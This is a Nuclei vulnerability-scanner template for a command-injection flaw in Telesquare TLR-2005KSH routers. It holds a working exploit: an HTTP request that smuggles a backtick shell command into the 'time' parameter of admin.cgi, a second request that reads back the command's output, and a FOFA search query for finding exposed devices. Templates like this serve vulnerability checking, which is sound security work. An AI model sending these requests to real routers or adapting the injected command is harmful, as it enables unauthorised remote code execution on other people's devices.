Nuclei templates:
id: telesquare-tlr2005-setsynctimehost-RCE
info:
name: telesquare-tlr2005-setsynctimehost-RCE
author: martian
severity: critical
description: |
A command execution vulnerability exists in telesquare tlr2005 setsynctimehost.
metadata:
verified: true
fofa-query: title="TLR-2005KSH" || banner="TLR-2005KSH login:"
tags: rce,TLR-2005KSH,telesquare
variables:
r1: "{{rand_int(800000000, 1000000000)}}"
requests:
- raw:
- |
GET /cgi-bin/admin.cgi?Command=setSyncTimeHost&time=`id>{{r1}}.txt` HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0
- |
GET /cgi-bin/{{r1}}.txt HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0
matchers-condition: and
matchers:
- type: word
part: body
words:
- "uid"
- "gid"
condition: and
- type: status
status:
- 200
